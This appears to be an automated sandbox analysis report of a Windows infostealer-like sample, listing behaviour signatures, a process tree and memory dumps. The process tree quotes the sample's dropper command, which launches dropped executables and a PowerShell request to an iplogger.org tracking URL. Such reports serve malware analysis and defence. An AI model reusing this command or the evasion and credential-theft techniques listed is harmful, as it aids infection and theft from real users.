Analysis

  • max time kernel
    138s
  • max time network
    155s
  • platform
    windows10_x64
  • resource
    win10v20210408
  • submitted
    20/09/2021, 13:59

General

  • Target
    aa50acd8116fddaaeec779efeab5555a.exe
  • Size 1.6MB
  • Sample210920-rad2xaghhm
  • SHA256 39f5b13c60418f4bcefdd1df075a6fe9e8bd879340c42d12c8a5e636aa035e6d
  • MD5 SHA1 SHA512

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

    suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 4 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 2 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Themida packer 2 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 6 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 16 IoCs
  • Modifies registry class 64 IoCs
  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 4 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 43 IoCs

Processes

  • c:\windows\system32\svchost.exe
    c:\windows\system32\svchost.exe -k netsvcs -s Schedule
    1⤵
      PID:1032
    • C:\Windows\Explorer.EXE
      C:\Windows\Explorer.EXE
      1⤵
      • Modifies registry class
      • Suspicious use of FindShellTrayWindow
      PID:3024
      • C:\Users\Admin\AppData\Local\Temp\aa50acd8116fddaaeec779efeab5555a.exe
        "C:\Users\Admin\AppData\Local\Temp\aa50acd8116fddaaeec779efeab5555a.exe"
        2⤵
        • Loads dropped DLL
        • Suspicious use of WriteProcessMemory
        PID:4020
        • C:\Windows\SysWOW64\cmd.exe
          "cmd" /c start "" "f.exe" & start "" "wwi.exe" & powershell -command "Invoke-WebRequest -Uri https://iplogger.org/1aX5d7"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:3016
          • C:\Users\Admin\AppData\Local\Temp\f.exe
            "f.exe"
            4⤵
            • Executes dropped EXE
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:3008
            • C:\Users\Admin\AppData\Local\237843444.exe
              "C:\Users\Admin\AppData\Local\237843444.exe"
              5⤵
              • Executes dropped EXE
              • Suspicious use of AdjustPrivilegeToken
              PID:1796
          • C:\Users\Admin\AppData\Local\Temp\wwi.exe
            "wwi.exe"
            4⤵
            • Executes dropped EXE
            • Checks BIOS information in registry
            • Checks computer location settings
            • Checks whether UAC is enabled
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:3572
            • C:\Users\Admin\AppData\Local\Temp\sviss.exe
              "C:\Users\Admin\AppData\Local\Temp\sviss.exe"
              5⤵
              • Executes dropped EXE
              PID:3108
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell -command "Invoke-WebRequest -Uri https://iplogger.org/1aX5d7"
            4⤵
            • Blocklisted process makes network request
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:736
    • c:\windows\system32\svchost.exe
      c:\windows\system32\svchost.exe -k netsvcs -s WpnService
      1⤵
        PID:2760
      • c:\windows\system32\svchost.exe
        c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt
        1⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:2752
      • c:\windows\system32\svchost.exe
        c:\windows\system32\svchost.exe -k netsvcs -s Browser
        1⤵
        • Suspicious use of SetThreadContext
        • Modifies registry class
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2596
        • C:\Windows\system32\svchost.exe
          C:\Windows\system32\svchost.exe -k SystemNetworkService
          2⤵
          • Drops file in System32 directory
          • Checks processor information in registry
          • Modifies data under HKEY_USERS
          • Modifies registry class
          PID:4312
      • c:\windows\system32\svchost.exe
        c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT
        1⤵
          PID:2484
        • c:\windows\system32\svchost.exe
          c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer
          1⤵
            PID:2416
          • c:\windows\system32\svchost.exe
            c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection
            1⤵
            • Suspicious use of WriteProcessMemory
            PID:1896
          • c:\windows\system32\svchost.exe
            c:\windows\system32\svchost.exe -k netsvcs -s SENS
            1⤵
              PID:1448
            • c:\windows\system32\svchost.exe
              c:\windows\system32\svchost.exe -k netsvcs -s UserManager
              1⤵
                PID:1316
              • c:\windows\system32\svchost.exe
                c:\windows\system32\svchost.exe -k netsvcs -s Themes
                1⤵
                  PID:1268
                • c:\windows\system32\svchost.exe
                  c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc
                  1⤵
                    PID:1120
                  • c:\windows\system32\svchost.exe
                    c:\windows\system32\svchost.exe -k netsvcs -s gpsvc
                    1⤵
                      PID:68
                    • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
                      "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
                      1⤵
                      • Drops file in Windows directory
                      • Modifies Internet Explorer settings
                      • Modifies registry class
                      • Suspicious use of AdjustPrivilegeToken
                      • Suspicious use of SetWindowsHookEx
                      PID:420
                    • C:\Windows\system32\browser_broker.exe
                      C:\Windows\system32\browser_broker.exe -Embedding
                      1⤵
                      • Modifies Internet Explorer settings
                      PID:3008
                    • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                      "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                      1⤵
                      • Modifies registry class
                      • Suspicious behavior: MapViewOfSection
                      • Suspicious use of SetWindowsHookEx
                      • Suspicious use of WriteProcessMemory
                      PID:2676
                    • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                      "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                      1⤵
                      • Modifies Internet Explorer settings
                      • Modifies registry class
                      • Suspicious use of AdjustPrivilegeToken
                      PID:3176
                    • C:\Windows\system32\rundll32.exe
                      rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                      1⤵
                      • Process spawned unexpected child process
                      • Suspicious use of WriteProcessMemory
                      PID:4164
                      • C:\Windows\SysWOW64\rundll32.exe
                        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                        2⤵
                        • Loads dropped DLL
                        • Modifies registry class
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        • Suspicious use of WriteProcessMemory
                        PID:4188

                    Network

                          MITRE ATT&CK Enterprise v6

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          memory/68-210-0x000001F5A3030000-0x000001F5A30A4000-memory.dmp

                          memory/736-140-0x0000000007F70000-0x0000000007F71000-memory.dmp

                          memory/736-144-0x00000000081C0000-0x00000000081C1000-memory.dmp

                          memory/736-158-0x00000000095D0000-0x00000000095D1000-memory.dmp

                          memory/736-135-0x00000000052A2000-0x00000000052A3000-memory.dmp

                          memory/736-130-0x00000000052A0000-0x00000000052A1000-memory.dmp

                          memory/736-137-0x00000000076F0000-0x00000000076F1000-memory.dmp

                          memory/736-159-0x000000000AA60000-0x000000000AA61000-memory.dmp

                          memory/736-139-0x0000000007790000-0x0000000007791000-memory.dmp

                          memory/736-131-0x0000000004D70000-0x0000000004D71000-memory.dmp

                          memory/736-132-0x0000000007940000-0x0000000007941000-memory.dmp

                          memory/736-162-0x00000000052A3000-0x00000000052A4000-memory.dmp

                          memory/736-147-0x00000000088E0000-0x00000000088E1000-memory.dmp

                          memory/736-157-0x0000000009C30000-0x0000000009C31000-memory.dmp

                          memory/736-145-0x0000000008610000-0x0000000008611000-memory.dmp

                          memory/1032-211-0x00000229A8860000-0x00000229A88D4000-memory.dmp

                          memory/1120-217-0x0000022DEB750000-0x0000022DEB7C4000-memory.dmp

                          memory/1268-230-0x000002A94F1D0000-0x000002A94F244000-memory.dmp

                          memory/1316-231-0x00000280C1F70000-0x00000280C1FE4000-memory.dmp

                          memory/1448-218-0x0000024AA2900000-0x0000024AA2974000-memory.dmp

                          memory/1796-160-0x0000000007390000-0x0000000007B5B000-memory.dmp

                          memory/1796-164-0x0000000000CC0000-0x0000000000CC5000-memory.dmp

                          memory/1796-155-0x00000000001B0000-0x00000000001B1000-memory.dmp

                          memory/1796-161-0x0000000004DA0000-0x0000000004DEA000-memory.dmp

                          memory/1796-182-0x000000000A7F0000-0x000000000A7F1000-memory.dmp

                          memory/1796-163-0x0000000005000000-0x0000000005001000-memory.dmp

                          memory/1796-174-0x000000000D590000-0x000000000D591000-memory.dmp

                          memory/1796-165-0x0000000000CD0000-0x0000000000CF8000-memory.dmp

                          memory/1796-166-0x0000000007C70000-0x0000000007CF7000-memory.dmp

                          memory/1796-168-0x0000000007FD0000-0x0000000007FD1000-memory.dmp

                          memory/1796-169-0x0000000008750000-0x0000000008771000-memory.dmp

                          memory/1796-170-0x0000000008780000-0x000000000882C000-memory.dmp

                          memory/1796-178-0x0000000005004000-0x0000000005006000-memory.dmp

                          memory/1796-176-0x000000000D920000-0x000000000D921000-memory.dmp

                          memory/1896-229-0x0000021BF0CD0000-0x0000021BF0D44000-memory.dmp

                          memory/2416-216-0x0000011F466B0000-0x0000011F46724000-memory.dmp

                          memory/2484-213-0x000002D76D070000-0x000002D76D0E4000-memory.dmp

                          memory/2596-209-0x000001F72A900000-0x000001F72A974000-memory.dmp

                          memory/2596-206-0x000001F72A6A0000-0x000001F72A6ED000-memory.dmp

                          memory/2752-232-0x000001E5E8870000-0x000001E5E88E4000-memory.dmp

                          memory/2760-233-0x0000024613A40000-0x0000024613AB4000-memory.dmp

                          memory/3008-126-0x0000000000CB0000-0x0000000000CB1000-memory.dmp

                          memory/3008-141-0x00000000055A0000-0x00000000055A1000-memory.dmp

                          memory/3572-171-0x0000000007640000-0x0000000007641000-memory.dmp

                          memory/3572-172-0x0000000007D40000-0x0000000007D41000-memory.dmp

                          memory/3572-133-0x0000000006570000-0x0000000006571000-memory.dmp

                          memory/3572-134-0x0000000005E90000-0x0000000005E91000-memory.dmp

                          memory/3572-136-0x0000000006070000-0x0000000006071000-memory.dmp

                          memory/3572-138-0x0000000005EF0000-0x0000000005EF1000-memory.dmp

                          memory/3572-125-0x0000000000F60000-0x0000000000F61000-memory.dmp

                          memory/3572-181-0x0000000007A50000-0x0000000007A51000-memory.dmp

                          memory/3572-180-0x0000000007BC0000-0x0000000007BC1000-memory.dmp

                          memory/3572-142-0x0000000005F50000-0x0000000005F51000-memory.dmp

                          memory/3572-175-0x0000000008270000-0x0000000008271000-memory.dmp

                          memory/3572-129-0x0000000076E80000-0x000000007700E000-memory.dmp

                          memory/3572-143-0x0000000005F60000-0x0000000005F61000-memory.dmp

                          memory/4188-191-0x0000000004D5A000-0x0000000004E5B000-memory.dmp

                          memory/4188-192-0x00000000035D0000-0x000000000362F000-memory.dmp

                          memory/4312-212-0x0000020B94170000-0x0000020B941E4000-memory.dmp

                          memory/4312-237-0x0000020B96900000-0x0000020B96A06000-memory.dmp

                          memory/4312-236-0x0000020B959E0000-0x0000020B959FB000-memory.dmp